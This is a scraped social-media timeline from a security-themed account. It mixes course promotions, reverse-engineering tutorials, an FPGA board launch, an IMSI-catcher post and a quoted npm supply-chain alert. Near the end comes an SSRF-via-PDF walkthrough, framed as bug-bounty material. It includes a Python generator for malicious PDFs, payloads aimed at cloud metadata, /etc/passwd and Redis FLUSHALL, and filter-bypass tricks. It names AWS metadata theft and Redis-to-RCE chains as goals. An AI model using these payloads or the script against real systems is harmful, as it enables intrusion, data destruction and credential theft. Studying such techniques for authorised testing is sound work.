Cipher

India
Joined February 2018
Cipher retweeted
this is pure f*cking treasure REA creator just dropped 20 GitHub repos to build a f*cking reverse engineering studio: 01 / analysis core 02 / mobile & apps 03 / binary & low-level 04 / network & runtime 05 / rebuild & verify the loop: binary -> REA -> SPEC.md -> rebuild -> oracle -> retry study the original. ship your own.
REA is pure f*cking treasure right now it lets your AI agent reverse engineer any app, down to the binary Opus 5.5 reads how a feature works, then rebuilds its own version from scratch but one wrong number can pass every check in this article :
22
79
4
626
31,719
JUST IN 🚨 If you're jobless and you need a job before January 2027. Take this Course , and get certified in the exam. You'll be a hot CAKE AI GOVERNANCE & RISK ANALYST. So the skills needed are: • GRC fundamentals • Privacy • AI Policy • Risk Assessment Take any of this courses NIST AI Risk Management Framework (AI RMF) Core (nist.gov/itl/ai-risk-managem…) Free structured AI Governance course (EU AI Act + NIST AI RMF + ISO/IEC 42001 focus) (ethicalogic.com/ai-governanc…) iapp.org/certify/free-study-… (iapp.org/certify/free-study-…) The Exam fee is roughly $649/$799 Dot this and thank me LATER!
42
498
21
3,286
444,845
There’s currently a Nigerian and an American who are within my neighborhood at the moment or passing around😂. During my radio and signal hacking research, I could tell the identity of everyone in my area because their mobile phone is on. This program shows you IMSI numbers, country, brand and operator of cellphones around you. I made this research for people to understand how GSM network work. IMSI is very powerful; as stated by EDWARD SNOWDEN years ago on his expose on surveillance. Anyone who has your IMSI can track you, listen to your calls or intercept your SMS. Your mobile phone always connects to the nearest available cell tower for service. This is fundamental to how mobile networks work for calls, texts, and data to flow. Any attacker with correct tools can mimick the cell tower; this is why SS7 vulnerabilities can’t be patched. Law enforcement agencies often utilize IMSI catchers as part of their surveillance operations, especially in scenarios involving public demonstrations or high-security events. These devices allow authorities to identify and track mobile devices within a targeted area by mimicking legitimate cell towers and capturing the International Mobile Subscriber Identity (IMSI) of nearby phones. This capability enables them to retroactively identify and locate individuals present at specific times and locations. Now the power is also in the hands of cybersecurity professionals and not only the law enforcements. Advanced software-defined radio (SDR) tools such as BladeRF and HackRF are also capable of similar signal interception techniques, making them powerful instruments in radio frequency (RF) reconnaissance and hacking. This is an educational research. Later this year, I’ll give you a more comprehensive research work on why it is very difficult to patch signal vulnerabilities.
52
171
11
1,109
145,368
India’s tech communities: It’s time to Build With AI. We're looking for community partners to host hands-on AI workshops for: 📱 Mobile ☁️ Cloud 🌐 Web Empower your community and lead the charge. 🔗 Enroll here: forms.gle/sY6gXSzRTRWsFvF28
9
18
234
18,267
Hijacking a DJI drone with $400 of equipment: Reverse-engineering the enhanced Wi-Fi link. 🛰️၊၊||၊🎯🕹️😎 More details: LinkedIn: linkedin.com/posts/dlaskov_d… Substack: it4sec.substack.com/p/hijack…
15
173
10
1,120
88,951
Cipher retweeted
Let's Learn x86-64 Assembly Series - Setup & Metaprogramming in Flat Assembler gpfault.net/posts/asm-tut-0.… gpfault.net/posts/asm-tut-1.… #assembly #windows
2
74
489
18,317
Two decades ago, Arduino put a microcontroller in every student’s hand, revolutionizing grassroots education. Today, as Arduino begins a new chapter in another domain, we’re opening the next chapter in education: putting FPGAs into every student’s hand. We’re delighted to introduce Shrike-Lite, the world’s most affordable FPGA development board, priced at just ₹349 / $4. Shrike-Lite combines an MCU (RP2040) with an FPGA (ForgeFPGA – 1K LUT) on a single board, unlocking hands-on learning for thousands of students and makers. Even with a 1K LUT FPGA, you can build: – Custom UART / SPI / I²C cores – LED and PWM drivers – Simple robotics controllers – Tiny accelerators and logic blocks – Many more digital-logic projects Since Shrike-Lite is a pet project at Vicharak, we’re keeping everything open-source, hardware, software, and toolchains, with complete software support from our team. We’re opening pre-orders for the first 1,000 units in India, starting now. Which will be delivered by 15th Nov, 2025.
175
496
76
3,651
292,191
Hacking satellites is like hacking cars: SpaceCAN and vulnerabilities in satellite communication protocols.🚗🛰️၊၊||၊💉☢️ More details on: LinkedIn: linkedin.com/posts/dlaskov_s… Substack: it4sec.substack.com/p/hackin…
9
168
4
1,006
38,093
Cipher retweeted
Reversing for dummies - x86 assembly and C code (Beginner/ADHD friendly) 0x44.cc/reversing/2021/07/21… #c #reverse #asm
13
173
1
1,333
47,129
Are you a student, professor or work in IT at a university? We offer a free account upgrade that is automatically applied if you sign-up with an academic TLD: help.shodan.io/the-basics/ac…
3
25
1
135
19,730
🚨npm Supply Chain Compromise Quoted directly from the LinkedIn post: LinkedIn: linkedin.com/posts/advocatem… "URGENT: I can't write much..... but... the largest supply chain compromise in npm, Inc. history just happened, packages with a total of 2 billion weekly downloads just got turned malicious..... Packages were compromised 1 hour ago. Please share urgently ansi-styles (371.41m downloads per week) debug (357.6m downloads per week) backslash (0.26m downloads per week) chalk-template (3.9m downloads per week) supports-hyperlinks (19.2m downloads per week) has-ansi (12.1m downloads per week) simple-swizzle (26.26m downloads per week) color-string (27.48m downloads per week) error-ex (47.17m downloads per week) color-name (191.71m downloads per week) is-arrayish (73.8m downloads per week) slice-ansi (59.8m downloads per week) color-convert (193.5m downloads per week) wrap-ansi (197.99m downloads per week) ansi-regex (243.64m downloads per week) supports-color (287.1m downloads per week) strip-ansi (261.17m downloads per week) chalk (299.99m downloads per week)"
16
167
21
580
84,108
🔥Free Google Collab notebooks to implement every Machine Learning Algorithm from scratch Link in comment
12
202
6
1,477
169,048
Cipher retweeted
Linux kernel isolation technique bypass using BPF infrastructure "EPF: Evil Packet Filter" (paper) cs.brown.edu/~vpk/papers/epf… #Linux #cybersecurity
2
58
1
289
15,417
Advanced SSRF via PDF Exploitation Goal Exploit a file upload feature to trigger blind SSRF using a PDF file that’s parsed or rendered by the backend server. ⸻ Why PDF? •PDF is almost always whitelisted in upload filters. •It’s a trusted file type rendered or converted server-side. •PDFs can embed external objects (images, links) that trigger outbound requests. ⸻ Step-by-Step Breakdown 1. Tool Setup Use a tool like malicious-pdf to inject payloads into PDFs. ./malicious-pdf.py It generates files like: •test1.pdf •test2.pdf •test3.pdf Each carries a different SSRF payload vector. ⸻ 2. Upload Process Upload the file using any upload feature:
Avatar:
Upload test3.pdf as an avatar — exploiting systems that parse or convert the file. ⸻ 3. Trigger & Monitor If the backend renders or scans the file, the payload fires. Monitor with: •Burp Collaborator •Interactsh •Custom DNS logger Look for: •DNS pingback •HTTP callbacks from internal IPs ⸻ 4. Confirmation You’re in when Burp logs: Type: DNS / HTTP Payload: adrf62hfdvi4x6...@oastify.com IP: 91.73.x.x This confirms SSRF — the backend made a request from inside. ⸻ Upgrade Your Exploit Game Payload Variants Test multiple SSRF paths: http://127.0.0.1/admin http://169.254.169.254/latest/meta-data/ file:///etc/passwd gopher://127.0.0.1:6379/_FLUSHALL Embed in PDF Objects Use: •/XObject for images •/URI annotations •/RichMedia objects •JavaScript actions ⸻ Bypass Tricks •Double extensions: avatar.pdf.png •Obfuscated IPs: http://0x7f000001 •Stream-based payloads for deeper evasion ⸻ Enhanced Tool: Python Script Here’s the improved malicious-pdf.py, which: •Randomizes payloads •Adds external image references •Supports bulk generation •Saves to /output_pdfs cleanly Code: #!/usr/bin/env python3 import os import sys from fpdf import FPDF from datetime import datetime import random import string def random_string(length=6): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def create_pdf(payload_url, output_dir, index): pdf = FPDF() pdf.add_page() pdf.set_font("Arial", size=12) pdf.cell(200, 10, txt="Malicious PDF Payload Trigger", ln=True) pdf.image(payload_url, x=10, y=20, w=100) filename = f"{output_dir}/payload_{index}_{random_string()}.pdf" pdf.output(filename) print(f"[+] PDF created: {filename}") def generate_payloads(base_url, count=5, output_dir="output_pdfs"): if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"[+] Generating {count} payloads targeting {base_url}") for i in range(count): unique_url = f"{base_url}/{random_string(8)}.jpg" create_pdf(unique_url, output_dir, i) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 enhanced-malicious-pdf.py [count]") sys.exit(1) base_url = sys.argv[1] count = int(sys.argv[2]) if len(sys.argv) > 2 else 5 generate_payloads(base_url, count) Download it here: enhanced-malicious-pdf.py ⸻ Use Cases •Cloud SSRF → AWS Metadata Theft •Internal admin panel discovery •IP / service fingerprinting •Chained Redis → RCE attacks ⸻ Ready-to-Post Caption SSRF via PDF Upload? Most devs whitelist PDFs. But what if your file could reach out from the backend? Trigger blind SSRF using a single upload — no clicks. Built a script. Got callbacks. Burp lit up. #BugBounty #SSRF #PDFExploit #CyberSecurity
3
110
427
25,215
Microsoft launched the best course on Generative AI! The free 21 lesson course is available on Github and will teach you everything you need to know to start building Generative AI applications.
27
893
23
4,679
442,664